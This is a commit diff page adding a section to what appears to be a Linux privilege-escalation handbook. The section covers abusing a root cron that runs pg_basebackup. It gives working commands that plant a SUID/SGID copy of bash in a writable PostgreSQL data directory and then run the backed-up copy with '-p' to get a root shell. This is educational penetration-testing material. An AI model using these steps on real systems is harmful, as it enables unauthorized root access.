You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/linux-hardening/privilege-escalation/README.md
+24Lines changed: 24 additions & 0 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -559,6 +559,29 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
559
559
560
560
**You can also use**[**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that starts).
561
561
562
+
### Root backups that preserve attacker-set mode bits (pg_basebackup)
563
+
564
+
If a root-owned cron wraps `pg_basebackup` (or any recursive copy) against a database directory you can write to, you can plant a **SUID/SGID binary** that will be recopied as **root:root** with the same mode bits into the backup output.
565
+
566
+
Typical discovery flow (as a low-priv DB user):
567
+
- Use `pspy` to spot a root cron calling something like `/usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/` every minute.
568
+
- Confirm the source cluster (e.g., `/var/lib/postgresql/14/main`) is writable by you and the destination (`/opt/backups/current`) becomes owned by root after the job.
569
+
570
+
Exploit:
571
+
572
+
```bash
573
+
# As the DB service user owning the cluster directory
574
+
cd /var/lib/postgresql/14/main
575
+
cp /bin/bash .
576
+
chmod 6777 bash
577
+
578
+
# Wait for the next root backup run (pg_basebackup preserves permissions)
/opt/backups/current/bash -p # root shell without dropping privileges
581
+
```
582
+
583
+
This works because `pg_basebackup` preserves file mode bits when copying the cluster; when invoked by root the destination files inherit **root ownership + attacker-chosen SUID/SGID**. Any similar privileged backup/copy routine that keeps permissions and writes into an executable location is vulnerable.
584
+
562
585
### Invisible cron jobs
563
586
564
587
It's possible to create a cronjob **putting a carriage return after a comment** (without newline character), and the cron job will work. Example (note the carriage return char):
0 commit comments